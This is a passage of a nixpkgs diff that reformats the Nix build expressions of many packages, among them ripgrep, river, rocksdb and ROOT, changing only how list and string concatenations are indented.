+    cp -r Ripes.app $out/Applications/
+    makeBinaryWrapper $out/Applications/Ripes.app/Contents/MacOS/Ripes $out/bin/Ripes
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -D Ripes $out/bin/Ripes
+  ''
+  + ''
+    cp -r ${src}/appdir/usr/share $out/share
+    runHook postInstall
+  '';
 
   passthru.updateScript = unstableGitUpdater { };
 
diff --git a/pkgs/by-name/ri/ripgrep/package.nix b/pkgs/by-name/ri/ripgrep/package.nix
index 4e4bd6f102cb..875ed244fc5e 100644
--- a/pkgs/by-name/ri/ripgrep/package.nix
+++ b/pkgs/by-name/ri/ripgrep/package.nix
@@ -32,7 +32,8 @@ rustPlatform.buildRustPackage rec {
   nativeBuildInputs = [
     installShellFiles
     writableTmpDirAsHomeHook # required for wine when cross-compiling to Windows
-  ] ++ lib.optional withPCRE2 pkg-config;
+  ]
+  ++ lib.optional withPCRE2 pkg-config;
   buildInputs = lib.optional withPCRE2 pcre2;
 
   buildFeatures = lib.optional withPCRE2 "pcre2";
@@ -48,16 +49,15 @@ rustPlatform.buildRustPackage rec {
   '';
 
   doInstallCheck = true;
-  installCheckPhase =
-    ''
-      file="$(mktemp)"
-      echo "abc\nbcd\ncde" > "$file"
-      ${rg} -N 'bcd' "$file"
-      ${rg} -N 'cd' "$file"
-    ''
-    + lib.optionalString withPCRE2 ''
-      echo '(a(aa)aa)' | ${rg} -P '\((a*|(?R))*\)'
-    '';
+  installCheckPhase = ''
+    file="$(mktemp)"
+    echo "abc\nbcd\ncde" > "$file"
+    ${rg} -N 'bcd' "$file"
+    ${rg} -N 'cd' "$file"
+  ''
+  + lib.optionalString withPCRE2 ''
+    echo '(a(aa)aa)' | ${rg} -P '\((a*|(?R))*\)'
+  '';
 
   meta = with lib; {
     description = "Utility that combines the usability of The Silver Searcher with the raw speed of grep";
diff --git a/pkgs/by-name/ri/ripmime/package.nix b/pkgs/by-name/ri/ripmime/package.nix
index b4e302618ee9..704860cbf903 100644
--- a/pkgs/by-name/ri/ripmime/package.nix
+++ b/pkgs/by-name/ri/ripmime/package.nix
@@ -17,13 +17,12 @@ stdenv.mkDerivation rec {
     mkdir -p "$out/bin" "$out/share/man/man1"
   '';
 
-  env =
-    {
-      NIX_CFLAGS_COMPILE = " -Wno-error ";
-    }
-    // lib.optionalAttrs stdenv.hostPlatform.isDarwin {
-      NIX_LDFLAGS = "-liconv";
-    };
+  env = {
+    NIX_CFLAGS_COMPILE = " -Wno-error ";
+  }
+  // lib.optionalAttrs stdenv.hostPlatform.isDarwin {
+    NIX_LDFLAGS = "-liconv";
+  };
 
   meta = with lib; {
     description = "Attachment extractor for MIME messages";
diff --git a/pkgs/by-name/ri/ripser/package.nix b/pkgs/by-name/ri/ripser/package.nix
index 204f8a0f0244..0246723e5882 100644
--- a/pkgs/by-name/ri/ripser/package.nix
+++ b/pkgs/by-name/ri/ripser/package.nix
@@ -32,18 +32,17 @@ stdenv.mkDerivation {
 
   buildInputs = lib.optional useGoogleHashmap sparsehash;
 
-  buildFlags =
-    [
-      "-std=c++11"
-      "-O3"
-      "-D NDEBUG"
-    ]
-    ++ lib.optional useCoefficients "-D USE_COEFFICIENTS"
-    ++ lib.optional indicateProgress "-D INDICATE_PROGRESS"
-    ++ lib.optional useGoogleHashmap "-D USE_GOOGLE_HASHMAP"
-    ++ lib.optional (fileFormat == "lowerTriangularCsv") "-D FILE_FORMAT_LOWER_TRIANGULAR_CSV"
-    ++ lib.optional (fileFormat == "upperTriangularCsv") "-D FILE_FORMAT_UPPER_TRIANGULAR_CSV"
-    ++ lib.optional (fileFormat == "dipha") "-D FILE_FORMAT_DIPHA";
+  buildFlags = [
+    "-std=c++11"
+    "-O3"
+    "-D NDEBUG"
+  ]
+  ++ lib.optional useCoefficients "-D USE_COEFFICIENTS"
+  ++ lib.optional indicateProgress "-D INDICATE_PROGRESS"
+  ++ lib.optional useGoogleHashmap "-D USE_GOOGLE_HASHMAP"
+  ++ lib.optional (fileFormat == "lowerTriangularCsv") "-D FILE_FORMAT_LOWER_TRIANGULAR_CSV"
+  ++ lib.optional (fileFormat == "upperTriangularCsv") "-D FILE_FORMAT_UPPER_TRIANGULAR_CSV"
+  ++ lib.optional (fileFormat == "dipha") "-D FILE_FORMAT_DIPHA";
 
   buildPhase = "c++ ripser.cpp -o ripser $buildFlags";
 
diff --git a/pkgs/by-name/ri/river/package.nix b/pkgs/by-name/ri/river/package.nix
index 8bfaa550c05d..fcb9153fa33a 100644
--- a/pkgs/by-name/ri/river/package.nix
+++ b/pkgs/by-name/ri/river/package.nix
@@ -43,7 +43,8 @@ stdenv.mkDerivation (finalAttrs: {
     wayland-scanner
     xwayland
     zig_0_14.hook
-  ] ++ lib.optional withManpages scdoc;
+  ]
+  ++ lib.optional withManpages scdoc;
 
   buildInputs = [
     libGL
@@ -55,17 +56,17 @@ stdenv.mkDerivation (finalAttrs: {
     wayland
     wayland-protocols
     wlroots_0_19
-  ] ++ lib.optional xwaylandSupport libX11;
+  ]
+  ++ lib.optional xwaylandSupport libX11;
 
   dontConfigure = true;
 
-  zigBuildFlags =
-    [
-      "--system"
-      "${finalAttrs.deps}"
-    ]
-    ++ lib.optional withManpages "-Dman-pages"
-    ++ lib.optional xwaylandSupport "-Dxwayland";
+  zigBuildFlags = [
+    "--system"
+    "${finalAttrs.deps}"
+  ]
+  ++ lib.optional withManpages "-Dman-pages"
+  ++ lib.optional xwaylandSupport "-Dxwayland";
 
   postInstall = ''
     install contrib/river.desktop -Dt $out/share/wayland-sessions
diff --git a/pkgs/by-name/rm/rmg/package.nix b/pkgs/by-name/rm/rmg/package.nix
index 5558fd286168..1a630a1e16c2 100644
--- a/pkgs/by-name/rm/rmg/package.nix
+++ b/pkgs/by-name/rm/rmg/package.nix
@@ -46,32 +46,31 @@ stdenv.mkDerivation (finalAttrs: {
     which
   ];
 
-  buildInputs =
+  buildInputs = [
+    boost
+    discord-rpc
+    freetype
+    hidapi
+    libpng
+    libsamplerate
+    minizip
+    SDL2
+    SDL2_net
+    speexdsp
+    vulkan-headers
+    vulkan-loader
+    xdg-user-dirs
+    zlib
+  ]
+  ++ (
+    with qt6Packages;
     [
-      boost
-      discord-rpc
-      freetype
-      hidapi
-      libpng
-      libsamplerate
-      minizip
-      SDL2
-      SDL2_net
-      speexdsp
-      vulkan-headers
-      vulkan-loader
-      xdg-user-dirs
-      zlib
+      qtbase
+      qtsvg
+      qtwebsockets
     ]
-    ++ (
-      with qt6Packages;
-      [
-        qtbase
-        qtsvg
-        qtwebsockets
-      ]
-      ++ lib.optional withWayland qtwayland
-    );
+    ++ lib.optional withWayland qtwayland
+  );
 
   cmakeFlags = [
     (lib.cmakeBool "PORTABLE_INSTALL" false)
diff --git a/pkgs/by-name/rm/rmw/package.nix b/pkgs/by-name/rm/rmw/package.nix
index 84f5f602f0d0..b3c5093b84fd 100644
--- a/pkgs/by-name/rm/rmw/package.nix
+++ b/pkgs/by-name/rm/rmw/package.nix
@@ -29,7 +29,8 @@ stdenv.mkDerivation rec {
 
   buildInputs = [
     ncurses
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin gettext;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin gettext;
 
   # The subproject "canfigger" has asan and ubsan enabled by default, disable it here
   mesonFlags = [
diff --git a/pkgs/by-name/rn/rng-tools/package.nix b/pkgs/by-name/rn/rng-tools/package.nix
index 32127d5a258a..5d83fea1f031 100644
--- a/pkgs/by-name/rn/rng-tools/package.nix
+++ b/pkgs/by-name/rn/rng-tools/package.nix
@@ -50,37 +50,35 @@ stdenv.mkDerivation rec {
     (lib.withFeature (withQrypt) "qrypt")
   ];
 
-  buildInputs =
-    [
-      openssl
-      libcap
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMusl [ argp-standalone ]
-    ++ lib.optionals withJitterEntropy [ jitterentropy ]
-    ++ lib.optionals withNistBeacon [
-      curl
-      jansson
-      libxml2
-    ]
-    ++ lib.optionals withPkcs11 [
-      libp11
-      libp11.passthru.openssl
-    ]
-    ++ lib.optionals withRtlsdr [ rtl-sdr ]
-    ++ lib.optionals withQrypt [
-      curl
-      jansson
-    ];
+  buildInputs = [
+    openssl
+    libcap
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMusl [ argp-standalone ]
+  ++ lib.optionals withJitterEntropy [ jitterentropy ]
+  ++ lib.optionals withNistBeacon [
+    curl
+    jansson
+    libxml2
+  ]
+  ++ lib.optionals withPkcs11 [
+    libp11
+    libp11.passthru.openssl
+  ]
+  ++ lib.optionals withRtlsdr [ rtl-sdr ]
+  ++ lib.optionals withQrypt [
+    curl
+    jansson
+  ];
 
   enableParallelBuilding = true;
 
-  makeFlags =
-    [
-      "AR:=$(AR)" # For cross-compilation
-    ]
-    ++ lib.optionals withPkcs11 [
-      "PKCS11_ENGINE=${opensc}/lib/opensc-pkcs11.so" # Overrides configure script paths
-    ];
+  makeFlags = [
+    "AR:=$(AR)" # For cross-compilation
+  ]
+  ++ lib.optionals withPkcs11 [
+    "PKCS11_ENGINE=${opensc}/lib/opensc-pkcs11.so" # Overrides configure script paths
+  ];
 
   doCheck = true;
   preCheck = ''
diff --git a/pkgs/by-name/rn/rnnoise-plugin/package.nix b/pkgs/by-name/rn/rnnoise-plugin/package.nix
index 78fb11fca707..5884b50b1f37 100644
--- a/pkgs/by-name/rn/rnnoise-plugin/package.nix
+++ b/pkgs/by-name/rn/rnnoise-plugin/package.nix
@@ -38,17 +38,16 @@ stdenv.mkDerivation rec {
     ./disable-ubsan.patch
   ];
 
-  buildInputs =
-    [
-      freetype
-      gtk3-x11
-      pcre
-      xorg.libX11
-      xorg.libXrandr
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      webkitgtk_4_1
-    ];
+  buildInputs = [
+    freetype
+    gtk3-x11
+    pcre
+    xorg.libX11
+    xorg.libXrandr
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    webkitgtk_4_1
+  ];
 
   # Move each plugin into a dedicated output, leaving a symlink in $out for backwards compatibility
   postInstall = ''
diff --git a/pkgs/by-name/rn/rnote/package.nix b/pkgs/by-name/rn/rnote/package.nix
index 3ffc58be726a..7d594ebfbad9 100644
--- a/pkgs/by-name/rn/rnote/package.nix
+++ b/pkgs/by-name/rn/rnote/package.nix
@@ -64,19 +64,18 @@ stdenv.mkDerivation rec {
     (lib.mesonBool "cli" true)
   ];
 
-  buildInputs =
-    [
-      appstream
-      glib
-      gst_all_1.gstreamer
-      gtk4
-      libadwaita
-      libxml2
-      poppler
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-    ];
+  buildInputs = [
+    appstream
+    glib
+    gst_all_1.gstreamer
+    gtk4
+    libadwaita
+    libxml2
+    poppler
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+  ];
 
   postPatch = ''
     chmod +x build-aux/*.py
diff --git a/pkgs/by-name/ro/roc-toolkit/package.nix b/pkgs/by-name/ro/roc-toolkit/package.nix
index db097741eaff..0308cea3aa6b 100644
--- a/pkgs/by-name/ro/roc-toolkit/package.nix
+++ b/pkgs/by-name/ro/roc-toolkit/package.nix
@@ -45,17 +45,16 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  propagatedBuildInputs =
-    [
-      libuv
-      speexdsp
-    ]
-    ++ lib.optional openfecSupport openfec
-    ++ lib.optional libunwindSupport libunwind
-    ++ lib.optional pulseaudioSupport libpulseaudio
-    ++ lib.optional opensslSupport openssl
-    ++ lib.optional soxSupport sox
-    ++ lib.optional libsndfileSupport libsndfile;
+  propagatedBuildInputs = [
+    libuv
+    speexdsp
+  ]
+  ++ lib.optional openfecSupport openfec
+  ++ lib.optional libunwindSupport libunwind
+  ++ lib.optional pulseaudioSupport libpulseaudio
+  ++ lib.optional opensslSupport openssl
+  ++ lib.optional soxSupport sox
+  ++ lib.optional libsndfileSupport libsndfile;
 
   sconsFlags =
     lib.optionals (!stdenv.hostPlatform.isDarwin) [
diff --git a/pkgs/by-name/ro/rockbox-utility/package.nix b/pkgs/by-name/ro/rockbox-utility/package.nix
index 06cd261b2f88..37e43de7b512 100644
--- a/pkgs/by-name/ro/rockbox-utility/package.nix
+++ b/pkgs/by-name/ro/rockbox-utility/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation rec {
     libusb1
     qt5.qtbase
     qt5.qttools
-  ] ++ lib.optional withEspeak espeak;
+  ]
+  ++ lib.optional withEspeak espeak;
 
   postPatch = ''
     sed -i rbutil/rbutilqt/rbutilqt.pro \
diff --git a/pkgs/by-name/ro/rocksdb/package.nix b/pkgs/by-name/ro/rocksdb/package.nix
index 25553a5cf641..b563545a9f88 100644
--- a/pkgs/by-name/ro/rocksdb/package.nix
+++ b/pkgs/by-name/ro/rocksdb/package.nix
@@ -75,7 +75,8 @@ stdenv.mkDerivation (finalAttrs: {
     "-DROCKSDB_INSTALL_ON_WINDOWS=YES" # harmless elsewhere
     (lib.optional sse42Support "-DFORCE_SSE42=1")
     "-DFAIL_ON_WARNINGS=NO"
-  ] ++ lib.optional (!enableShared) "-DROCKSDB_BUILD_SHARED=0";
+  ]
+  ++ lib.optional (!enableShared) "-DROCKSDB_BUILD_SHARED=0";
 
   # otherwise "cc1: error: -Wformat-security ignored without -Wformat [-Werror=format-security]"
   hardeningDisable = lib.optional stdenv.hostPlatform.isWindows "format";
@@ -95,17 +96,16 @@ stdenv.mkDerivation (finalAttrs: {
       sed -e '1i #include <system_error>' -i third-party/folly/folly/synchronization/detail/ProxyLockable-inl.h
     '';
 
-  preInstall =
-    ''
-      mkdir -p $tools/bin
-      cp tools/{ldb,sst_dump}${stdenv.hostPlatform.extensions.executable} $tools/bin/
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      ls -1 $tools/bin/* | xargs -I{} install_name_tool -change "@rpath/librocksdb.${lib.versions.major finalAttrs.version}.dylib" $out/lib/librocksdb.dylib {}
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isLinux && enableShared) ''
-      ls -1 $tools/bin/* | xargs -I{} patchelf --set-rpath $out/lib:${lib.getLib stdenv.cc.cc}/lib {}
-    '';
+  preInstall = ''
+    mkdir -p $tools/bin
+    cp tools/{ldb,sst_dump}${stdenv.hostPlatform.extensions.executable} $tools/bin/
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    ls -1 $tools/bin/* | xargs -I{} install_name_tool -change "@rpath/librocksdb.${lib.versions.major finalAttrs.version}.dylib" $out/lib/librocksdb.dylib {}
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isLinux && enableShared) ''
+    ls -1 $tools/bin/* | xargs -I{} patchelf --set-rpath $out/lib:${lib.getLib stdenv.cc.cc}/lib {}
+  '';
 
   # Old version doesn't ship the .pc file, new version puts wrong paths in there.
   postFixup = ''
diff --git a/pkgs/by-name/ro/rofimoji/package.nix b/pkgs/by-name/ro/rofimoji/package.nix
index ad104c00aebc..6ccdfeee37cf 100644
--- a/pkgs/by-name/ro/rofimoji/package.nix
+++ b/pkgs/by-name/ro/rofimoji/package.nix
@@ -32,18 +32,17 @@ python3Packages.buildPythonApplication rec {
 
   # `rofi` and the `waylandSupport` and `x11Support` dependencies
   # contain binaries needed at runtime.
-  propagatedBuildInputs =
-    [
-      python3Packages.configargparse
-    ]
-    ++ lib.optionals waylandSupport [
-      wl-clipboard
-      wtype
-    ]
-    ++ lib.optionals x11Support [
-      xdotool
-      xsel
-    ];
+  propagatedBuildInputs = [
+    python3Packages.configargparse
+  ]
+  ++ lib.optionals waylandSupport [
+    wl-clipboard
+    wtype
+  ]
+  ++ lib.optionals x11Support [
+    xdotool
+    xsel
+  ];
 
   # The 'extractors' sub-module is used for development
   # and has additional dependencies.
diff --git a/pkgs/by-name/ro/root/package.nix b/pkgs/by-name/ro/root/package.nix
index 7a8147e1e833..7fcd51306bb0 100644
--- a/pkgs/by-name/ro/root/package.nix
+++ b/pkgs/by-name/ro/root/package.nix
@@ -79,97 +79,94 @@ stdenv.mkDerivation rec {
   propagatedBuildInputs = [
     nlohmann_json # link interface of target "ROOT::ROOTEve"
   ];
-  buildInputs =
-    [
-      davix
-      fftw
-      ftgl
-      giflib
-      gl2ps
-      glew
-      gsl
-      libjpeg
-      libpng
-      libtiff
-      libxcrypt
-      libxml2
-      llvm_18
-      lz4
-      openssl
-      patchRcPathCsh
-      patchRcPathFish
-      patchRcPathPosix
-      pcre2
-      python3.pkgs.numpy
-      tbb
-      xrootd
-      xxHash
-      xz
-      zlib
-      zstd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ apple-sdk.privateFrameworksHook ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libGLU
-      libGL
-      xorg.libX11
-      xorg.libXpm
-      xorg.libXft
-      xorg.libXext
-    ];
+  buildInputs = [
+    davix
+    fftw
+    ftgl
+    giflib
+    gl2ps
+    glew
+    gsl
+    libjpeg
+    libpng
+    libtiff
+    libxcrypt
+    libxml2
+    llvm_18
+    lz4
+    openssl
+    patchRcPathCsh
+    patchRcPathFish
+    patchRcPathPosix
+    pcre2
+    python3.pkgs.numpy
+    tbb
+    xrootd
+    xxHash
+    xz
+    zlib
+    zstd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ apple-sdk.privateFrameworksHook ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libGLU
+    libGL
+    xorg.libX11
+    xorg.libXpm
+    xorg.libXft
+    xorg.libXext
+  ];
 
-  preConfigure =
-    ''
-      for path in builtins/*; do
-        if [[ "$path" != "builtins/openui5" ]] && [[ "$path" != "builtins/rendercore" ]]; then
-          rm -rf "$path"
-        fi
-      done
-      substituteInPlace cmake/modules/SearchInstalledSoftware.cmake \
-        --replace-fail 'set(lcgpackages ' '#set(lcgpackages '
+  preConfigure = ''
+    for path in builtins/*; do
+      if [[ "$path" != "builtins/openui5" ]] && [[ "$path" != "builtins/rendercore" ]]; then
+        rm -rf "$path"
+      fi
+    done
+    substituteInPlace cmake/modules/SearchInstalledSoftware.cmake \
+      --replace-fail 'set(lcgpackages ' '#set(lcgpackages '
 
-      substituteInPlace interpreter/llvm-project/clang/tools/driver/CMakeLists.txt \
-        --replace-fail 'add_clang_symlink(''${link} clang)' ""
+    substituteInPlace interpreter/llvm-project/clang/tools/driver/CMakeLists.txt \
+      --replace-fail 'add_clang_symlink(''${link} clang)' ""
 
-      patchShebangs cmake/unix/
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Eliminate impure reference to /System/Library/PrivateFrameworks
-      substituteInPlace core/macosx/CMakeLists.txt \
-        --replace-fail "-F/System/Library/PrivateFrameworks " ""
-    ''
-    +
-      lib.optionalString
-        (stdenv.hostPlatform.isDarwin && lib.versionAtLeast stdenv.hostPlatform.darwinMinVersion "11")
-        ''
-          MACOSX_DEPLOYMENT_TARGET=10.16
-        '';
+    patchShebangs cmake/unix/
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Eliminate impure reference to /System/Library/PrivateFrameworks
+    substituteInPlace core/macosx/CMakeLists.txt \
+      --replace-fail "-F/System/Library/PrivateFrameworks " ""
+  ''
+  +
+    lib.optionalString
+      (stdenv.hostPlatform.isDarwin && lib.versionAtLeast stdenv.hostPlatform.darwinMinVersion "11")
+      ''
+        MACOSX_DEPLOYMENT_TARGET=10.16
+      '';
 
-  cmakeFlags =
-    [
-      "-DCLAD_SOURCE_DIR=${clad_src}"
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-Dbuiltin_llvm=OFF"
-      "-Dfail-on-missing=ON"
-      "-Dfftw3=ON"
-      "-Dfitsio=OFF"
-      "-Dgnuinstall=ON"
-      "-Dmathmore=ON"
-      "-Dmysql=OFF"
-      "-Dpgsql=OFF"
-      "-Dsqlite=OFF"
-      "-Dvdt=OFF"
-    ]
-    ++ lib.optional (
-      (!stdenv.hostPlatform.isDarwin) && (stdenv.cc.libc != null)
-    ) "-DC_INCLUDE_DIRS=${lib.getDev stdenv.cc.libc}/include"
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # fatal error: module map file '/nix/store/<hash>-Libsystem-osx-10.12.6/include/module.modulemap' not found
-      # fatal error: could not build module '_Builtin_intrinsics'
-      "-Druntime_cxxmodules=OFF"
-    ];
+  cmakeFlags = [
+    "-DCLAD_SOURCE_DIR=${clad_src}"
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-Dbuiltin_llvm=OFF"
+    "-Dfail-on-missing=ON"
+    "-Dfftw3=ON"
+    "-Dfitsio=OFF"
+    "-Dgnuinstall=ON"
+    "-Dmathmore=ON"
+    "-Dmysql=OFF"
+    "-Dpgsql=OFF"
+    "-Dsqlite=OFF"
+    "-Dvdt=OFF"
+  ]
+  ++ lib.optional (
+    (!stdenv.hostPlatform.isDarwin) && (stdenv.cc.libc != null)
+  ) "-DC_INCLUDE_DIRS=${lib.getDev stdenv.cc.libc}/include"
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # fatal error: module map file '/nix/store/<hash>-Libsystem-osx-10.12.6/include/module.modulemap' not found
+    # fatal error: could not build module '_Builtin_intrinsics'
+    "-Druntime_cxxmodules=OFF"
+  ];
 
   postInstall = ''
     for prog in rootbrowse rootcp rooteventselector rootls rootmkdir rootmv rootprint rootrm rootslimtree; do
diff --git a/pkgs/by-name/ro/root5/package.nix b/pkgs/by-name/ro/root5/package.nix
index 760eda7bb7e8..8b89dcdcfac8 100644
--- a/pkgs/by-name/ro/root5/package.nix
+++ b/pkgs/by-name/ro/root5/package.nix
@@ -36,26 +36,25 @@ stdenv.mkDerivation rec {
     cmake
     pkg-config
   ];
-  buildInputs =
-    [
-      pcre
-      python3
-      zlib
-      libxml2
-      lz4
-      xz
-      gsl
-      xxHash
-      libxcrypt
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libX11
-      libXpm
-      libXft
-      libXext
-      libGLU
-      libGL
-    ];
+  buildInputs = [
+    pcre
+    python3
+    zlib
+    libxml2
+    lz4
+    xz
+    gsl
+    xxHash
+    libxcrypt
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libX11
+    libXpm
+    libXft
+    libXext
+    libGLU
+    libGL
+  ];
 
   patches = [
     ./sw_vers_root5.patch
@@ -90,91 +89,89 @@ stdenv.mkDerivation rec {
   # https://github.com/root-project/root/issues/13216
   hardeningDisable = [ "fortify3" ];
 
-  preConfigure =
-    ''
-      # binutils 2.37 fixes
-      fixupList=(
-        cint/demo/gl/make0
-        cint/demo/exception/Makefile
-        cint/demo/makecint/KRcc/Makefile
-        cint/demo/makecint/Stub2/Make2
-        cint/demo/makecint/Array/Makefile
-        cint/demo/makecint/DArray/Makefile
-        cint/demo/makecint/ReadFile/Makefile
-        cint/demo/makecint/stl/Makefile
-        cint/demo/makecint/Stub2/Make1
-        cint/cint/include/makemat
-        cint/cint/lib/WildCard/Makefile
-        cint/cint/include/make.arc
-        cint/cint/lib/qt/Makefile
-        cint/cint/lib/pthread/Makefile
-        graf2d/asimage/src/libAfterImage/Makefile.in
-      )
-      for toFix in "''${fixupList[@]}"; do
-        substituteInPlace "$toFix" --replace "clq" "cq"
-      done
+  preConfigure = ''
+    # binutils 2.37 fixes
+    fixupList=(
+      cint/demo/gl/make0
+      cint/demo/exception/Makefile
+      cint/demo/makecint/KRcc/Makefile
+      cint/demo/makecint/Stub2/Make2
+      cint/demo/makecint/Array/Makefile
+      cint/demo/makecint/DArray/Makefile
+      cint/demo/makecint/ReadFile/Makefile
+      cint/demo/makecint/stl/Makefile
+      cint/demo/makecint/Stub2/Make1
+      cint/cint/include/makemat
+      cint/cint/lib/WildCard/Makefile
+      cint/cint/include/make.arc
+      cint/cint/lib/qt/Makefile
+      cint/cint/lib/pthread/Makefile
+      graf2d/asimage/src/libAfterImage/Makefile.in
+    )
+    for toFix in "''${fixupList[@]}"; do
+      substituteInPlace "$toFix" --replace "clq" "cq"
+    done
 
-      patchShebangs build/unix/
+    patchShebangs build/unix/
 
-      # __malloc_hook is deprecated
-      substituteInPlace misc/memstat/src/TMemStatHook.cxx \
-        --replace "defined(R__GNU) && (defined(R__LINUX) || defined(__APPLE__))" \
-                  "defined(R__GNU) && (defined(__APPLE__))"
+    # __malloc_hook is deprecated
+    substituteInPlace misc/memstat/src/TMemStatHook.cxx \
+      --replace "defined(R__GNU) && (defined(R__LINUX) || defined(__APPLE__))" \
+                "defined(R__GNU) && (defined(__APPLE__))"
 
-      # python 3.12
-      substituteInPlace bindings/pyroot/src/PyROOT.h \
-        --replace " PyUnicode_GET_SIZE" " PyUnicode_GetLength" \
-        --replace " PyUnicode_GetSize" " PyUnicode_GetLength"
-    ''
-    # Fix CINTSYSDIR for "build" version of rootcint
-    # This is probably a bug that breaks out-of-source builds
-    + ''
-      substituteInPlace cint/cint/src/loadfile.cxx\
-        --replace 'env = "cint";' 'env = "'`pwd`'/cint";'
-    ''
-    + lib.optionalString noSplash ''
-      substituteInPlace rootx/src/rootx.cxx --replace "gNoLogo = false" "gNoLogo = true"
-    '';
+    # python 3.12
+    substituteInPlace bindings/pyroot/src/PyROOT.h \
+      --replace " PyUnicode_GET_SIZE" " PyUnicode_GetLength" \
+      --replace " PyUnicode_GetSize" " PyUnicode_GetLength"
+  ''
+  # Fix CINTSYSDIR for "build" version of rootcint
+  # This is probably a bug that breaks out-of-source builds
+  + ''
+    substituteInPlace cint/cint/src/loadfile.cxx\
+      --replace 'env = "cint";' 'env = "'`pwd`'/cint";'
+  ''
+  + lib.optionalString noSplash ''
+    substituteInPlace rootx/src/rootx.cxx --replace "gNoLogo = false" "gNoLogo = true"
+  '';
 
-  cmakeFlags =
-    [
-      "-Drpath=ON"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-      "-DCMAKE_CXX_FLAGS=-std=c++11"
-      "-Dalien=OFF"
-      "-Dbonjour=OFF"
-      "-Dcastor=OFF"
-      "-Dchirp=OFF"
-      "-Ddavix=OFF"
-      "-Ddcache=OFF"
-      "-Dfftw3=OFF"
-      "-Dfitsio=OFF"
-      "-Dfortran=OFF"
-      "-Dgfal=OFF"
-      "-Dgsl_shared=ON"
-      "-Dgviz=OFF"
-      "-Dhdfs=OFF"
-      "-Dkrb5=OFF"
-      "-Dldap=OFF"
-      "-Dmathmore=ON"
-      "-Dmonalisa=OFF"
-      "-Dmysql=OFF"
-      "-Dodbc=OFF"
-      "-Dopengl=ON"
-      "-Doracle=OFF"
-      "-Dpgsql=OFF"
-      "-Dpythia6=OFF"
-      "-Dpythia8=OFF"
-      "-Drfio=OFF"
-      "-Dsqlite=OFF"
-      "-Dssl=OFF"
-      "-Dxml=ON"
-      "-Dxrootd=OFF"
-    ]
-    ++ lib.optional (
-      (!stdenv.hostPlatform.isDarwin) && (stdenv.cc.libc != null)
-    ) "-DC_INCLUDE_DIRS=${lib.getDev stdenv.cc.libc}/include";
+  cmakeFlags = [
+    "-Drpath=ON"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+    "-DCMAKE_CXX_FLAGS=-std=c++11"
+    "-Dalien=OFF"
+    "-Dbonjour=OFF"
+    "-Dcastor=OFF"
+    "-Dchirp=OFF"
+    "-Ddavix=OFF"
+    "-Ddcache=OFF"
+    "-Dfftw3=OFF"
+    "-Dfitsio=OFF"
+    "-Dfortran=OFF"
+    "-Dgfal=OFF"
+    "-Dgsl_shared=ON"
+    "-Dgviz=OFF"
+    "-Dhdfs=OFF"
+    "-Dkrb5=OFF"
+    "-Dldap=OFF"
+    "-Dmathmore=ON"
+    "-Dmonalisa=OFF"
+    "-Dmysql=OFF"
+    "-Dodbc=OFF"
+    "-Dopengl=ON"
+    "-Doracle=OFF"
+    "-Dpgsql=OFF"
+    "-Dpythia6=OFF"
+    "-Dpythia8=OFF"
+    "-Drfio=OFF"
+    "-Dsqlite=OFF"
+    "-Dssl=OFF"
+    "-Dxml=ON"
+    "-Dxrootd=OFF"
+  ]
+  ++ lib.optional (
+    (!stdenv.hostPlatform.isDarwin) && (stdenv.cc.libc != null)
+  ) "-DC_INCLUDE_DIRS=${lib.getDev stdenv.cc.libc}/include";
 
   env.NIX_CFLAGS_COMPILE = "-fpermissive";
 
diff --git a/pkgs/by-name/ro/rosa/package.nix b/pkgs/by-name/ro/rosa/package.nix
index 23a5777153e2..87d08b01edd3 100644
--- a/pkgs/by-name/ro/rosa/package.nix
+++ b/pkgs/by-name/ro/rosa/package.nix
@@ -37,7 +37,8 @@ buildGoModule rec {
       skippedTests = [
         "TestCluster"
         "TestRhRegionCommand"
-      ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "TestCache" ];
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [ "TestCache" ];
     in
     [ "-skip=^${lib.concatStringsSep "$|^" skippedTests}$" ];
 
diff --git a/pkgs/by-name/ro/route-graph/package.nix b/pkgs/by-name/ro/route-graph/package.nix
index 7fe1e787ccff..9874c1c1842c 100644
--- a/pkgs/by-name/ro/route-graph/package.nix
+++ b/pkgs/by-name/ro/route-graph/package.nix
@@ -26,15 +26,14 @@ python3.pkgs.buildPythonApplication rec {
     poetry-core
   ];
 
-  propagatedBuildInputs =
-    [
-      graphviz
-    ]
